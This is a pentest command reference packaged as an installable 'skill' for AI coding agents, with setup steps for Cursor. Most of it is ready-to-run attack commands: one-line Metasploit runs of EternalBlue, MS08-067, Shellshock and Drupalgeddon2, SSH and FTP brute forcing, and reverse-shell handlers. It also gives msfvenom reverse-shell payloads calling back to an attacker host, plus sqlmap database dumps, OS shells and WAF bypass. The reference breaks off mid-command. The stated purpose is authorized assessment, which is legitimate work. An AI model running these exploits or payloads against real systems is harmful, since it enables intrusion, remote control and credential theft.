Pentest Commands

Purpose

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.

Inputs/Prerequisites

• Kali Linux or penetration testing distribution
• Target IP addresses with authorization
• Wordlists for brute forcing
• Network access to target systems
• Basic understanding of tool syntax

Outputs/Deliverables

• Network enumeration results
• Identified vulnerabilities
• Exploitation payloads
• Cracked credentials
• Web vulnerability findings

Core Workflow

1. Nmap Commands

Host Discovery:

# Ping sweep
nmap -sP 192.168.1.0/24

# List IPs without scanning
nmap -sL 192.168.1.0/24

# Ping scan (host discovery)
nmap -sn 192.168.1.0/24

Port Scanning:

# TCP SYN scan (stealth)
nmap -sS 192.168.1.1

# Full TCP connect scan
nmap -sT 192.168.1.1

# UDP scan
nmap -sU 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1

# Specific ports
nmap -p 22,80,443 192.168.1.1

Service Detection:

# Service versions
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Comprehensive scan
nmap -A 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

NSE Scripts:

# Vulnerability scan
nmap --script vuln 192.168.1.1

# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1

# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1

# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1

# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1

# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1

# FTP anonymous
nmap --script ftp-anon 192.168.1.1

# DNS brute force
nmap --script dns-brute 192.168.1.1

# HTTP methods
nmap -p80 --script http-methods 192.168.1.1

# HTTP headers
nmap -p80 --script http-headers 192.168.1.1

# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1

Advanced Scans:

# Xmas scan
nmap -sX 192.168.1.1

# ACK scan (firewall detection)
nmap -sA 192.168.1.1

# Window scan
nmap -sW 192.168.1.1

# Traceroute
nmap --traceroute 192.168.1.1

2. Metasploit Commands

Basic Usage:

# Launch Metasploit
msfconsole

# Search for exploits
search type:exploit name:smb

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set target
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Run exploit
exploit

Common Exploits:

# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"

Scanners:

# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"

# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"

# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"

# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"

# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"

Handler Setup:

# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"

Payload Generation (msfvenom):

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php

# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp

# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war

# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py

3. Nikto Commands

# Basic scan
nikto -h http://192.168.1.1

# Comprehensive scan
nikto -h http://192.168.1.1 -C all

# Output to file
nikto -h http://192.168.1.1 -output report.html

# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl

# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+

# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only

4. SQLMap Commands

# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"

# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs

# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables

# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump

# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell

# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"

# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"

# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment

# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 
how to use pentest-commands
CursorClaude CodeClineCodexWindsurfGooseGitHub CopilotVS CodeGemini CLIKiloOpencodeKimi CLIRoo ClineAiderContinueZedBolt.newLovablev0Replit AgentSweepSmol DeveloperDevinCavemanAmpAntigravity
How to use pentest-commands on Cursor
AI-first code editor with Composer
1
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
›Cursor installed and configured on your development machine
›Node.js version 16.0+ with npm package manager (verify with node --version)
›Active project directory or workspace where you want to add pentest-commands
2
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
$npx skills add https://github.com/davila7/claude-code-templates --skill pentest-commandscopy
The skills CLI fetches pentest-commands from GitHub repository davila7/claude-code-templates and configures it for Cursor.
3
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ── always included ────
│   • Amp
│   • Antigravity
│   • Cline
│   • Codex
│ ●Cursor(selected)
│   • Cursor
│   • Windsurf
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/pentest-commands
Reload or restart Cursor to activate pentest-commands. Access the skill through slash commands (e.g., /pentest-commands) or your agent's skill management interface.
⚠
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
Additional Resources
›View source code on GitHub›Skills CLI documentation›Learn more about Cursor›What are agent skills?